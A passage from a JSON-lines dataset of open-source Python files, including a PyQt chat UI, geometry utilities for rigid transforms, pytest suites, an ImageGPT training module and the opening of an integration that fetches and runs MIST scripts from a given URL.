\"\u0418\u0441\u0442\u043e\u0440\u0438\u044f \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439:\"))\n self.label_new_message.setText(_translate(\"MainClientWindow\", \"\u0412\u0432\u0435\u0434\u0438\u0442\u0435 \u043d\u043e\u0432\u043e\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435:\"))\n self.btn_send.setText(_translate(\"MainClientWindow\", \"\u041e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435\"))\n self.btn_clear.setText(_translate(\"MainClientWindow\", \"\u041e\u0447\u0438\u0441\u0442\u0438\u0442\u044c \u043f\u043e\u043b\u0435\"))\n self.menu.setTitle(_translate(\"MainClientWindow\", \"\u0424\u0430\u0439\u043b\"))\n self.menu_2.setTitle(_translate(\"MainClientWindow\", \"\u041a\u043e\u043d\u0442\u0430\u043a\u0442\u044b\"))\n self.menu_exit.setText(_translate(\"MainClientWindow\", \"\u0412\u044b\u0445\u043e\u0434\"))\n self.menu_add_contact.setText(_translate(\"MainClientWindow\", \"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0430\u043a\u0442\"))\n self.menu_del_contact.setText(_translate(\"MainClientWindow\", \"\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0430\u043a\u0442\"))\n\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "from .pusch import Pusch\r\nfrom .pusch_enums import *\r\nfrom .pdsch import Pdsch\r\nfrom .pdsch_enums import *\r\nfrom .carrier import Carrier\r\nfrom .carrier_enums import *\r\nfrom .subblock import Subblock\r\nfrom .subblock_enums import *\r\nfrom .waveform import Waveform\r\n", "source": "smooresni/batchwave", "license": "MIT"} {"text": "# flake8: noqa\nversion = \"2.1.0.SNAPSHOT\"\n__version__ = version\n", "source": "alexcreasy/repour", "license": "Apache-2.0"} {"text": "#!/usr/bin/env python\n\nimport argparse\n\nclass CLI(object):\n \"\"\"\n Handles command-line interface options\n \"\"\"\n\n def parse_arguments(self, args=None):\n \"\"\"\n Implement command-line arguments\n \"\"\"\n self.parser = argparse.ArgumentParser(usage='fetchproref [fetch]')\n self.sub = self.parser.add_subparsers()\n \n self.fetch = self.sub.add_parser('fetch',\n help='Save all tables from a pro ref site as individual CSVs in a folder at the current location.', usage='datadoc fetch [spreadsheetID] [outfile]'\n )\n\n self.fetch.add_argument('url',\n help='url of pro ref page'\n )\n\n return self.parser.parse_args(args)", "source": "lazarogamio/fetchproref", "license": "MIT"} {"text": "import os, sys\n\n# scons APPLICATION=helloworld BOARD=linuxhost\nucube_main(args=ARGUMENTS)", "source": "jinlongliu/AliOS-Things", "license": "Apache-2.0"} {"text": "import numpy as np\nfrom pyquaternion import Quaternion\n\n\ndef so3_vee(Phi):\n if Phi.ndim < 3:\n Phi = np.expand_dims(Phi, axis=0)\n\n if Phi.shape[1:3] != (3, 3):\n raise ValueError(\"Phi must have shape ({},{}) or (N,{},{})\".format(3, 3, 3, 3))\n\n phi = np.empty([Phi.shape[0], 3])\n phi[:, 0] = Phi[:, 2, 1]\n phi[:, 1] = Phi[:, 0, 2]\n phi[:, 2] = Phi[:, 1, 0]\n return np.squeeze(phi)\n\n\ndef so3_wedge(phi):\n phi = np.atleast_2d(phi)\n if phi.shape[1] != 3:\n raise ValueError(\n \"phi must have shape ({},) or (N,{})\".format(3, 3))\n\n Phi = np.zeros([phi.shape[0], 3, 3])\n Phi[:, 0, 1] = -phi[:, 2]\n Phi[:, 1, 0] = phi[:, 2]\n Phi[:, 0, 2] = phi[:, 1]\n Phi[:, 2, 0] = -phi[:, 1]\n Phi[:, 1, 2] = -phi[:, 0]\n Phi[:, 2, 1] = phi[:, 0]\n return np.squeeze(Phi)\n\n\ndef so3_log(matrix):\n cos_angle = 0.5 * np.trace(matrix) - 0.5\n cos_angle = np.clip(cos_angle, -1., 1.)\n angle = np.arccos(cos_angle)\n if np.isclose(angle, 0.):\n return so3_vee(matrix - np.identity(3))\n else:\n return so3_vee((0.5 * angle / np.sin(angle)) * (matrix - matrix.T))\n\n\ndef so3_left_jacobian(phi):\n angle = np.linalg.norm(phi)\n\n if np.isclose(angle, 0.):\n return np.identity(3) + 0.5 * so3_wedge(phi)\n\n axis = phi / angle\n s = np.sin(angle)\n c = np.cos(angle)\n\n return (s / angle) * np.identity(3) + \\\n (1 - s / angle) * np.outer(axis, axis) + \\\n ((1 - c) / angle) * so3_wedge(axis)\n\n\ndef se3_curlywedge(xi):\n xi = np.atleast_2d(xi)\n\n Psi = np.zeros([xi.shape[0], 6, 6])\n Psi[:, 0:3, 0:3] = so3_wedge(xi[:, 3:6])\n Psi[:, 0:3, 3:6] = so3_wedge(xi[:, 0:3])\n Psi[:, 3:6, 3:6] = Psi[:, 0:3, 0:3]\n\n return np.squeeze(Psi)\n\n\ndef se3_left_jacobian_Q_matrix(xi):\n rho = xi[0:3] # translation part\n phi = xi[3:6] # rotation part\n\n rx = so3_wedge(rho)\n px = so3_wedge(phi)\n\n ph = np.linalg.norm(phi)\n ph2 = ph * ph\n ph3 = ph2 * ph\n ph4 = ph3 * ph\n ph5 = ph4 * ph\n\n cph = np.cos(ph)\n sph = np.sin(ph)\n\n m1 = 0.5\n m2 = (ph - sph) / ph3\n m3 = (0.5 * ph2 + cph - 1.) / ph4\n m4 = (ph - 1.5 * sph + 0.5 * ph * cph) / ph5\n\n t1 = rx\n t2 = px.dot(rx) + rx.dot(px) + px.dot(rx).dot(px)\n t3 = px.dot(px).dot(rx) + rx.dot(px).dot(px) - 3. * px.dot(rx).dot(px)\n t4 = px.dot(rx).dot(px).dot(px) + px.dot(px).dot(rx).dot(px)\n\n return m1 * t1 + m2 * t2 + m3 * t3 + m4 * t4\n\n\ndef se3_left_jacobian(xi):\n rho = xi[0:3] # translation part\n phi = xi[3:6] # rotation part\n\n # Near |phi|==0, use first order Taylor expansion\n if np.isclose(np.linalg.norm(phi), 0.):\n return np.identity(6) + 0.5 * se3_curlywedge(xi)\n\n so3_jac = so3_left_jacobian(phi)\n Q_mat = se3_left_jacobian_Q_matrix(xi)\n\n jac = np.zeros([6, 6])\n jac[0:3, 0:3] = so3_jac\n jac[0:3, 3:6] = Q_mat\n jac[3:6, 3:6] = so3_jac\n\n return jac\n\n\ndef se3_inv_left_jacobian(xi):\n rho = xi[0:3] # translation part\n phi = xi[3:6] # rotation part\n\n # Near |phi|==0, use first order Taylor expansion\n if np.isclose(np.linalg.norm(phi), 0.):\n return np.identity(6) - 0.5 * se3_curlywedge(xi)\n\n so3_inv_jac = so3_inv_left_jacobian(phi)\n Q_mat = se3_left_jacobian_Q_matrix(xi)\n\n jac = np.zeros([6, 6])\n jac[0:3, 0:3] = so3_inv_jac\n jac[0:3, 3:6] = -so3_inv_jac.dot(Q_mat).dot(so3_inv_jac)\n jac[3:6, 3:6] = so3_inv_jac\n\n return jac\n\n\ndef so3_inv_left_jacobian(phi):\n angle = np.linalg.norm(phi)\n\n if np.isclose(angle, 0.):\n return np.identity(3) - 0.5 * so3_wedge(phi)\n\n axis = phi / angle\n half_angle = 0.5 * angle\n cot_half_angle = 1. / np.tan(half_angle)\n\n return half_angle * cot_half_angle * np.identity(3) + \\\n (1 - half_angle * cot_half_angle) * np.outer(axis, axis) - \\\n half_angle * so3_wedge(axis)\n\n\ndef project_orthogonal(rot):\n u, s, vh = np.linalg.svd(rot, full_matrices=True, compute_uv=True)\n rot = u @ vh\n if np.linalg.det(rot) < 0:\n u[:, 2] = -u[:, 2]\n rot = u @ vh\n return rot\n\n\nclass Isometry:\n GL_POST_MULT = Quaternion(degrees=180.0, axis=[1.0, 0.0, 0.0])\n\n def __init__(self, q=None, t=None):\n if q is None:\n q = Quaternion()\n if t is None:\n t = np.zeros(3)\n if not isinstance(t, np.ndarray):\n t = np.asarray(t)\n assert t.shape[0] == 3 and t.ndim == 1\n self.q = q\n self.t = t\n\n def __repr__(self):\n return f\"Isometry: t = {self.t}, q = {self.q}\"\n\n @property\n def rotation(self):\n return Isometry(q=self.q)\n\n @property\n def matrix(self):\n mat = self.q.transformation_matrix\n mat[0:3, 3] = self.t\n return mat\n\n @staticmethod\n def from_matrix(mat, t_component=None, ortho=False):\n assert isinstance(mat, np.ndarray)\n if t_component is None:\n assert mat.shape == (4, 4)\n if ortho:\n mat[:3, :3] = project_orthogonal(mat[:3, :3])\n return Isometry(q=Quaternion(matrix=mat), t=mat[:3, 3])\n else:\n assert mat.shape == (3, 3)\n assert t_component.shape == (3,)\n if ortho:\n mat = project_orthogonal(mat)\n return Isometry(q=Quaternion(matrix=mat), t=t_component)\n\n @staticmethod\n def from_twist(xi: np.ndarray):\n rho = xi[:3]\n phi = xi[3:6]\n iso = Isometry.from_so3_exp(phi)\n iso.t = so3_left_jacobian(phi) @ rho\n return iso\n\n @staticmethod\n def from_so3_exp(phi: np.ndarray):\n angle = np.linalg.norm(phi)\n\n # Near phi==0, use first order Taylor expansion\n if np.isclose(angle, 0.):\n return Isometry(q=Quaternion(matrix=np.identity(3) + so3_wedge(phi)))\n\n axis = phi / angle\n s = np.sin(angle)\n c = np.cos(angle)\n\n rot_mat = (c * np.identity(3) +\n (1 - c) * np.outer(axis, axis) +\n s * so3_wedge(axis))\n return Isometry(q=Quaternion(matrix=rot_mat))\n\n @property\n def continuous_repr(self):\n rot = self.q.rotation_matrix[:, 0:2].T.flatten() # (6,)\n return np.concatenate([rot, self.t]) # (9,)\n\n @staticmethod\n def from_continuous_repr(rep, gs=True):\n if isinstance(rep, list):\n rep = np.asarray(rep)\n assert isinstance(rep, np.ndarray)\n assert rep.shape == (9,)\n # For rotation, use Gram-Schmidt orthogonalization\n col1 = rep[0:3]\n col2 = rep[3:6]\n if gs:\n col1 /= np.linalg.norm(col1)\n col2 = col2 - np.dot(col1, col2) * col1\n col2 /= np.linalg.norm(col2)\n col3 = np.cross(col1, col2)\n return Isometry(q=Quaternion(matrix=np.column_stack([col1, col2, col3])), t=rep[6:9])\n\n @property\n def full_repr(self):\n rot = self.q.rotation_matrix.T.flatten()\n return np.concatenate([rot, self.t])\n\n @staticmethod\n def from_full_repr(rep, ortho=False):\n assert isinstance(rep, np.ndarray)\n assert rep.shape == (12,)\n rot = rep[0:9].reshape(3, 3).T\n if ortho:\n rot = project_orthogonal(rot)\n return Isometry(q=Quaternion(matrix=rot), t=rep[9:12])\n\n def torch_matrices(self, device):\n import torch\n return torch.from_numpy(self.q.rotation_matrix).to(device).float(), \\\n torch.from_numpy(self.t).to(device).float()\n\n @staticmethod\n def random():\n return Isometry(q=Quaternion.random(), t=np.random.random((3,)))\n\n def inv(self):\n qinv = self.q.inverse\n return Isometry(q=qinv, t=-(qinv.rotate(self.t)))\n\n def dot(self, right):\n return Isometry(q=(self.q * right.q), t=(self.q.rotate(right.t) + self.t))\n\n def to_gl_camera(self):\n return Isometry(q=(self.q * self.GL_POST_MULT), t=self.t)\n\n @staticmethod\n def look_at(source: np.ndarray, target: np.ndarray, up: np.ndarray = None):\n z_dir = target - source\n z_dir /= np.linalg.norm(z_dir)\n if up is None:\n up = np.asarray([0.0, 1.0, 0.0])\n if np.linalg.norm(np.cross(z_dir, up)) < 1e-6:\n up = np.asarray([1.0, 0.0, 0.0])\n else:\n up /= np.linalg.norm(up)\n x_dir = np.cross(z_dir, up)\n x_dir /= np.linalg.norm(x_dir)\n y_dir = np.cross(z_dir, x_dir)\n R = np.column_stack([x_dir, y_dir, z_dir])\n return Isometry(q=Quaternion(matrix=R), t=source)\n\n def adjoint_matrix(self):\n R = self.q.rotation_matrix\n twR = so3_wedge(self.t) @ R\n adjoint = np.zeros((6, 6))\n adjoint[0:3, 0:3] = R\n adjoint[3:6, 3:6] = R\n adjoint[0:3, 3:6] = twR\n return adjoint\n\n def log(self):\n phi = so3_log(self.q.rotation_matrix)\n rho = so3_inv_left_jacobian(phi) @ self.t\n return np.hstack([rho, phi])\n\n def tangent(self, prev_iso, next_iso):\n t = 0.5 * (next_iso.t - prev_iso.t)\n l1 = Quaternion.log((self.q.inverse * prev_iso.q).normalised)\n l2 = Quaternion.log((self.q.inverse * next_iso.q).normalised)\n e = Quaternion()\n e.q = -0.25 * (l1.q + l2.q)\n e = self.q * Quaternion.exp(e)\n return Isometry(t=t, q=e)\n\n def __matmul__(self, other):\n # \"@\" operator: other can be (N,3) or (3,).\n if hasattr(other, \"device\"): # Torch tensor\n assert other.ndim == 2 and other.size(1) == 3 # (N,3)\n th_R, th_t = self.torch_matrices(other.device)\n return other @ th_R.t() + th_t.unsqueeze(0)\n if isinstance(other, Isometry):\n return self.dot(other)\n if type(other) != np.ndarray or other.ndim == 1:\n return self.q.rotate(other) + self.t\n else:\n return other @ self.q.rotation_matrix.T + self.t[np.newaxis, :]\n\n @staticmethod\n def interpolate(source, target, alpha):\n iquat = Quaternion.slerp(source.q, target.q, alpha)\n it = source.t * (1 - alpha) + target.t * alpha\n return Isometry(q=iquat, t=it)\n", "source": "likojack/bnv_fusion", "license": "MIT"} {"text": "################################################################################\n\"\"\"Python package for Hyper-EMG fitting of TOF mass spectra\n\n.. moduleauthor:: Stefan Paul \n\"\"\"\n##### Code by Stefan Paul\n\n##### Import required modules\nfrom .config import *\nfrom .spectrum import *\n\n##### Get package version\nfrom ._version import get_versions\n__version__ = get_versions()['version']\ndel get_versions\n\n##### Check Python version\nimport sys\nmin_py_version = (3, 7)\nif sys.version_info < min_py_version:\n msg = \"emgfit only supports Python versions >= \"+str(min_py_version)\n raise Exception(msg)\n\n##### Import following modules immediately if package is loaded with import *\n__all__ = [\n #'emg_funcs',\n 'config',\n\t 'spectrum'\n ]\n\n\n################################################################################\n", "source": "RobbenRoll/emgfit", "license": "BSD-3-Clause"} {"text": "from bookmarks_converter.models import JSONBookmark\n\n\ndef test_JSONBookmark_url_chrome(url_chrome):\n url = JSONBookmark(**url_chrome)\n assert isinstance(url.date_added, int)\n # we automatically add 1 to id when importing from chrome.\n assert int(url_chrome.get(\"id\")) == url.id - 1\n assert url_chrome.get(\"name\") == url.title\n assert url_chrome.get(\"type\") == url.type\n assert url_chrome.get(\"url\") == url.url\n\n\ndef test_JSONBookmark_folder_chrome(folder_chrome):\n folder = JSONBookmark(**folder_chrome)\n assert isinstance(folder.children, list)\n assert isinstance(folder.date_added, int)\n # we automatically add 1 to id when importing from chrome.\n assert int(folder_chrome.get(\"id\")) == folder.id - 1\n assert folder_chrome.get(\"name\") == folder.title\n assert folder_chrome.get(\"type\") == folder.type\n\n\ndef test_JSONBookmark_url_firefox(url_firefox):\n url = JSONBookmark(**url_firefox)\n assert url_firefox.get(\"title\") == url.title\n assert url_firefox.get(\"index\") == url.index\n assert url_firefox.get(\"dateAdded\") == url.date_added\n assert url_firefox.get(\"id\") == url.id\n assert url_firefox.get(\"iconuri\") == url.icon_uri\n # firefox url type name is \"text/x-moz-place\"\n # make sure it was converted to url correctly\n assert \"url\" == url.type\n assert url_firefox.get(\"uri\") == url.url\n\n\ndef test_JSONBookmark_folder_firefox(folder_firefox):\n folder = JSONBookmark(**folder_firefox)\n assert folder_firefox.get(\"title\") == folder.title\n assert folder_firefox.get(\"index\") == folder.index\n assert folder_firefox.get(\"dateAdded\") == folder.date_added\n assert folder_firefox.get(\"id\") == folder.id\n # firefox folder type name is \"text/x-moz-place-container\"\n # make sure it was converted to folder correctly\n assert \"folder\" == folder.type\n assert isinstance(folder.children, list)\n\n\ndef test_JSONBookmark_url_custom(url_custom):\n url = JSONBookmark(**url_custom)\n assert url_custom.get(\"type\") == url.type\n assert url_custom.get(\"id\") == url.id\n assert url_custom.get(\"index\") == url.index\n assert url_custom.get(\"parent_id\") == url.parent_id\n assert url_custom.get(\"title\") == url.title\n assert url_custom.get(\"date_added\") == url.date_added\n assert url_custom.get(\"icon\") == url.icon\n assert url_custom.get(\"iconuri\") == url.icon_uri\n assert url_custom.get(\"tags\") == url.tags\n\n\ndef test_JSONBookmark_folder_custom(folder_custom):\n folder = JSONBookmark(**folder_custom)\n assert folder_custom.get(\"type\") == folder.type\n assert folder_custom.get(\"id\") == folder.id\n assert folder_custom.get(\"index\") == folder.index\n assert folder_custom.get(\"parent_id\") == folder.parent_id\n assert folder_custom.get(\"title\") == folder.title\n assert folder_custom.get(\"date_added\") == folder.date_added\n assert isinstance(folder_custom.get(\"children\"), list)\n\n\ndef test_JSONBookmark_convert_url_to_json(url_custom):\n url = JSONBookmark(**url_custom)\n assert url._convert_url_to_json() == url_custom\n\n\ndef test_JSONBookmark_convert_folder_to_json(folder_custom):\n folder = JSONBookmark(**folder_custom)\n assert folder._convert_folder_to_json() == folder_custom\n", "source": "radam9/bookmarks_parser", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n'''Autor: Alessandra Souza\nData: 05/05/2017\nObjetivo: Calculo de salario liquido.\nID Urionlinejudge: 1008.'''\n\nNUMBER=int(input())\nhorast=int(input())\nvalhr=float(input())\n\nSALARY = (valhr*horast)\nprint(\"NUMBER = %d\" %NUMBER)\nprint(\"SALARY = U$ %.2f\" %SALARY)\n", "source": "le16bits/URI---Python", "license": "Apache-2.0"} {"text": "\"\"\"\nTests for `kolibri` module.\n\"\"\"\nfrom __future__ import absolute_import, print_function, unicode_literals\n\nimport copy\nimport logging\nimport os\n\nimport pytest\nfrom kolibri.utils import cli\n\nlogger = logging.getLogger(__name__)\n\n\nLOG_LOGGER = []\n\n\ndef log_logger(logger_instance, LEVEL, msg, args, **kwargs):\n \"\"\"\n Monkeypatching for logging.Logger._log to scoop up log messages if we wanna\n test something specific was logged.\n \"\"\"\n LOG_LOGGER.append(\n (LEVEL, msg)\n )\n # Call the original function\n logger_instance.__log(LEVEL, msg, args, **kwargs)\n\n\n@pytest.fixture\ndef conf():\n from kolibri.utils import conf\n old_config = copy.deepcopy(conf.config)\n yield conf\n conf.update(old_config)\n conf.save()\n\n\ndef test_bogus_plugin_autoremove(conf):\n \"\"\"\n Checks that a plugin is auto-removed when it cannot be imported\n \"\"\"\n plugin_name = \"giraffe.horse\"\n conf.config[\"INSTALLED_APPS\"].append(plugin_name)\n conf.save()\n conf.autoremove_unavailable_plugins()\n assert plugin_name not in conf.config[\"INSTALLED_APPS\"]\n\n\ndef test_bogus_plugin_autoremove_no_path(conf):\n \"\"\"\n Checks that a plugin without a dotted path is also auto-removed\n \"\"\"\n plugin_name = \"giraffehorse\"\n conf.config[\"INSTALLED_APPS\"].append(plugin_name)\n conf.save()\n conf.autoremove_unavailable_plugins()\n assert plugin_name not in conf.config[\"INSTALLED_APPS\"]\n\n\ndef test_bogus_plugin_disable(conf):\n installed_apps_before = conf.config[\"INSTALLED_APPS\"][:]\n cli.plugin(\"i_do_not_exist\", disable=True)\n assert installed_apps_before == conf.config[\"INSTALLED_APPS\"]\n\n\ndef test_plugin_cannot_be_imported_disable(conf):\n \"\"\"\n A plugin may be in conf.config['INSTALLED_APPS'] but broken or uninstalled\n \"\"\"\n plugin_name = \"giraffe.horse\"\n conf.config[\"INSTALLED_APPS\"].append(plugin_name)\n conf.save()\n cli.plugin(plugin_name, disable=True)\n assert plugin_name not in conf.config[\"INSTALLED_APPS\"]\n\n\ndef test_real_plugin_disable(conf):\n installed_apps_before = conf.config[\"INSTALLED_APPS\"][:]\n test_plugin = \"kolibri.plugins.media_player\"\n assert test_plugin in installed_apps_before\n # Because RIP example plugin\n cli.plugin(test_plugin, disable=True)\n assert test_plugin not in conf.config[\"INSTALLED_APPS\"]\n\n\ndef test_real_plugin_disable_twice(conf):\n installed_apps_before = conf.config[\"INSTALLED_APPS\"][:]\n test_plugin = \"kolibri.plugins.media_player\"\n assert test_plugin in installed_apps_before\n # Because RIP example plugin\n cli.plugin(test_plugin, disable=True)\n assert test_plugin not in conf.config[\"INSTALLED_APPS\"]\n installed_apps_before = conf.config[\"INSTALLED_APPS\"][:]\n cli.plugin(test_plugin, disable=True)\n assert test_plugin not in conf.config[\"INSTALLED_APPS\"]\n\n\ndef test_plugin_with_no_plugin_class(conf):\n \"\"\"\n Expected behavior is that nothing blows up with exceptions, user just gets\n a warning and nothing is enabled or changed in the configuration.\n \"\"\"\n # For fun, we pass in a system library\n installed_apps_before = conf.config[\"INSTALLED_APPS\"][:]\n cli.plugin(\"os.path\")\n assert installed_apps_before == conf.config[\"INSTALLED_APPS\"]\n\n\n@pytest.mark.django_db\ndef test_kolibri_listen_port_env(monkeypatch):\n \"\"\"\n Starts and stops the server, mocking the actual server.start()\n Checks that the correct fallback port is used from the environment.\n \"\"\"\n\n from kolibri.utils import server\n\n def start_mock(port, *args, **kwargs):\n assert port == test_port\n\n monkeypatch.setattr(logging.Logger, '__log', logging.Logger._log, raising=False)\n monkeypatch.setattr(logging.Logger, '_log', log_logger)\n monkeypatch.setattr(server, 'start', start_mock)\n\n test_port = 1234\n # ENV VARS are always a string\n os.environ['KOLIBRI_LISTEN_PORT'] = str(test_port)\n\n server.start = start_mock\n cli.start(daemon=False)\n with pytest.raises(SystemExit, code=0):\n cli.stop()\n\n # Stop the server AGAIN, asserting that we can call the stop command\n # on an already stopped server and will be gracefully informed about\n # it.\n with pytest.raises(SystemExit, code=0):\n cli.stop()\n assert \"Already stopped\" in LOG_LOGGER[-1][1]\n\n def status_starting_up():\n raise server.NotRunning(server.STATUS_STARTING_UP)\n\n # Ensure that if a server is reported to be 'starting up', it doesn't\n # get killed while doing that.\n monkeypatch.setattr(server, 'get_status', status_starting_up)\n with pytest.raises(SystemExit, code=server.STATUS_STARTING_UP):\n cli.stop()\n assert \"Not stopped\" in LOG_LOGGER[-1][1]\n\n\ndef test_cli_usage():\n # Test the -h\n with pytest.raises(SystemExit, code=0):\n cli.main(\"-h\")\n with pytest.raises(SystemExit, code=0):\n cli.main(\"--version\")\n\n\ndef test_cli_parsing():\n test_patterns = (\n (['start'], {'start': True}, []),\n (['stop'], {'stop': True}, []),\n (['shell'], {'shell': True}, []),\n (['manage', 'shell'], {'manage': True, 'COMMAND': 'shell'}, []),\n (['manage', 'help'], {'manage': True, 'COMMAND': 'help'}, []),\n (['manage', 'blah'], {'manage': True, 'COMMAND': 'blah'}, []),\n (\n ['manage', 'blah', '--debug', '--', '--django-arg'],\n {'manage': True, 'COMMAND': 'blah', '--debug': True},\n ['--django-arg']\n ),\n (\n ['manage', 'blah', '--django-arg'],\n {'manage': True, 'COMMAND': 'blah'},\n ['--django-arg']\n ),\n )\n\n for p, docopt_expected, django_expected in test_patterns:\n docopt, django = cli.parse_args(p)\n\n for k, v in docopt_expected.items():\n assert docopt[k] == v\n\n assert django == django_expected\n", "source": "MingDai/kolibri", "license": "MIT"} {"text": "# collatz conjecture revision\r\n\r\n# the number we perform the collatz operations on\r\nn = 25\r\n\r\n# keep looping until we reach 1\r\nwhile n != 1:\r\n print(n) # print the current value of n\r\n if n % 2 == 0: # checks if n is even\r\n n = n / 2 # if so divide by 2, single / gives decimals, double // gives a whole number or integer\r\n else: # if n is odd multiply by 3 and add 1\r\n n = (3 * n) + 1\r\n# finally print the final value of n whch is always 1\r\nprint (n)\r\n\r\n\r\n", "source": "JulianConneely/MachineLearningStats", "license": "Apache-2.0"} {"text": "import torch\nimport torch.nn as nn\nfrom torch.utils.data import TensorDataset, DataLoader, random_split\nfrom torch.optim.lr_scheduler import LambdaLR\nimport pytorch_lightning as pl\nimport numpy as np\nimport math\nfrom argparse import ArgumentParser\n\nfrom gpt2 import GPT2\nfrom utils import quantize\n\n\ndef _to_sequence(x):\n \"\"\"shape batch of images for input into GPT2 model\"\"\"\n x = x.view(x.shape[0], -1) # flatten images into sequences\n x = x.transpose(0, 1).contiguous() # to shape [seq len, batch]\n return x\n\n\nclass ImageGPT(pl.LightningModule):\n def __init__(\n self,\n centroids,\n embed_dim=16,\n num_heads=2,\n num_layers=8,\n num_pixels=28,\n num_vocab=16,\n num_classes=10,\n classify=False,\n learning_rate=3e-3,\n steps=10_000,\n warmup_steps=500,\n **kwargs,\n ):\n super(ImageGPT, self).__init__()\n self.save_hyperparameters()\n self.gpt = GPT2(\n embed_dim=embed_dim,\n num_heads=num_heads,\n num_layers=num_layers,\n num_positions=num_pixels * num_pixels,\n num_vocab=num_vocab,\n num_classes=num_classes,\n )\n\n self.centroids = nn.Parameter(\n torch.from_numpy(np.load(centroids)), requires_grad=False\n )\n self.criterion = nn.CrossEntropyLoss()\n self.classify = classify\n self.learning_rate = learning_rate\n self.steps = steps\n self.warmup_steps = warmup_steps\n\n @staticmethod\n def add_model_specific_args(parent_parser):\n parser = ArgumentParser(parents=[parent_parser], add_help=False)\n parser.add_argument(\"--embed_dim\", type=int, default=16)\n parser.add_argument(\"--num_heads\", type=int, default=2)\n parser.add_argument(\"--num_layers\", type=int, default=8)\n parser.add_argument(\"--num_pixels\", type=int, default=28)\n parser.add_argument(\"--num_vocab\", type=int, default=16)\n parser.add_argument(\"--num_classes\", type=int, default=10)\n parser.add_argument(\"--classify\", action=\"store_true\", default=False)\n parser.add_argument(\"--batch_size\", type=int, default=64)\n parser.add_argument(\"--learning_rate\", type=float, default=3e-3)\n parser.add_argument(\"--steps\", type=int, default=25_000)\n return parser\n\n def configure_optimizers(self):\n optimizer = torch.optim.Adam(self.gpt.parameters(), lr=self.learning_rate)\n\n # no learning rate schedule for fine-tuning\n if self.classify:\n return optimizer\n\n scheduler = {\n \"scheduler\": LambdaLR(\n optimizer, learning_rate_schedule(self.warmup_steps, self.steps)\n ),\n \"interval\": \"step\",\n }\n return [optimizer], [scheduler]\n\n def forward(self, x):\n return self.gpt(x)\n\n def training_step(self, batch, batch_idx):\n x, y = batch\n\n x = quantize(x, self.centroids)\n x = _to_sequence(x)\n\n if self.classify:\n clf_logits, logits = self.gpt(x, classify=True)\n clf_loss = self.criterion(clf_logits, y)\n gen_loss = self.criterion(logits.view(-1, logits.size(-1)), x.view(-1))\n # joint loss for classification\n loss = clf_loss + gen_loss\n else:\n logits = self.gpt(x)\n loss = self.criterion(logits.view(-1, logits.size(-1)), x.view(-1))\n\n logs = {\"loss\": loss}\n return {\"loss\": loss, \"log\": logs}\n\n def validation_step(self, batch, batch_idx):\n x, y = batch\n\n x = quantize(x, self.centroids)\n x = _to_sequence(x)\n\n if self.classify or self.hparams.classify:\n clf_logits, logits = self.gpt(x, classify=True)\n clf_loss = self.criterion(clf_logits, y)\n gen_loss = self.criterion(logits.view(-1, logits.size(-1)), x.view(-1))\n # joint loss for classification\n loss = clf_loss + gen_loss\n _, preds = torch.max(clf_logits, 1)\n correct = preds == y\n return {\"val_loss\": loss, \"correct\": correct}\n else:\n logits = self.gpt(x)\n loss = self.criterion(logits.view(-1, logits.size(-1)), x.view(-1))\n return {\"val_loss\": loss}\n\n def validation_epoch_end(self, outs):\n avg_loss = torch.stack([x[\"val_loss\"] for x in outs]).mean()\n logs = {\"val_loss\": avg_loss}\n if self.classify or self.hparams.classify:\n correct = torch.cat([x[\"correct\"] for x in outs])\n logs[\"val_acc\"] = correct.sum().float() / correct.shape[0]\n return {\"val_loss\": avg_loss, \"log\": logs}\n\n def test_step(self, batch, batch_idx):\n return self.validation_step(batch, batch_idx)\n\n def test_epoch_end(self, outs):\n result = self.validation_epoch_end(outs)\n\n # replace valid stats with test stats becuase we are reusing function\n result[\"log\"][\"test_loss\"] = result[\"log\"].pop(\"val_loss\")\n result[\"test_loss\"] = result.pop(\"val_loss\")\n if self.hparams.classify:\n result[\"log\"][\"test_acc\"] = result[\"log\"].pop(\"val_acc\")\n return result\n\n\ndef learning_rate_schedule(warmup_steps, total_steps):\n \"\"\"Linear warmup for warmup_steps, with cosine annealing to 0 at total_steps\"\"\"\n\n def learning_rate_fn(step):\n if step < warmup_steps:\n return float(step) / float(max(1, warmup_steps))\n else:\n progress = float(step - warmup_steps) / float(\n max(1, total_steps - warmup_steps)\n )\n return 0.5 * (1.0 + math.cos(math.pi * progress))\n\n return learning_rate_fn\n", "source": "teddykoker/image-gpt", "license": "Apache-2.0"} {"text": "# -*- coding: utf-8 -*-\n\nimport logging\n\nfrom django.db.models.signals import post_save\n\nfrom .dispatcher import receiver\nfrom .. import models as edd_models\nfrom ..tasks import template_sync_species\n\n\nlogger = logging.getLogger(__name__)\n\n\n@receiver(post_save, sender=edd_models.SBMLTemplate)\ndef template_saved(sender, instance, created, raw, using, update_fields, **kwargs):\n if not raw and (created or update_fields is None or 'sbml_file' in update_fields):\n try:\n template_sync_species.delay(instance.pk)\n except template_sync_species.OperationalError:\n logger.error(\"Failed to submit task template_sync_species(%s)\", instance.pk)\n", "source": "TeselaGen/jbei-edd", "license": "BSD-3-Clause-LBNL"} {"text": "import requests\nfrom typing import Dict, Any, List, Union, Tuple, Any, Optional\nfrom mist.action_run import execute_from_text\nfrom mist.lang.config import config\nimport asyncio, json\nfrom zipfile import ZipFile\nfrom io import BytesIO\nimport os\n\n# Disable insecure warnings\nrequests.packages.urllib3.disable_warnings() # pylint: disable=no-member\n\n\n''' CONSTANTS '''\n\nDATE_FORMAT = '%Y-%m-%dT%H:%M:%SZ' # ISO8601 format with UTC, default in XSOAR\n\n''' CLIENT CLASS '''\n\n\nclass Client():\n def __init__(self, base_url, verify):\n self.base_url = base_url\n self.verify = verify\n\n def baseintegration_dummy(self, url, params) -> Tuple[str, dict]:\n #TODO: download from git repo\n req = requests.get(url)\n if req.status_code == 200:\n try:\n if url.endswith(\".zip\"):\n zipfile = ZipFile(BytesIO(req.content))\n zipfile.extractall(\"./mist_tmp_zip\")\n os.chdir('./mist_tmp_zip')\n with open(\"main.mist\") as f:\n mist_content = f.read()\n else:\n mist_content = req.content.decode(\"utf-8\", \"ignore\")\n output = asyncio.run(execute_from_text(mist_content, fn_params=params))\n result = 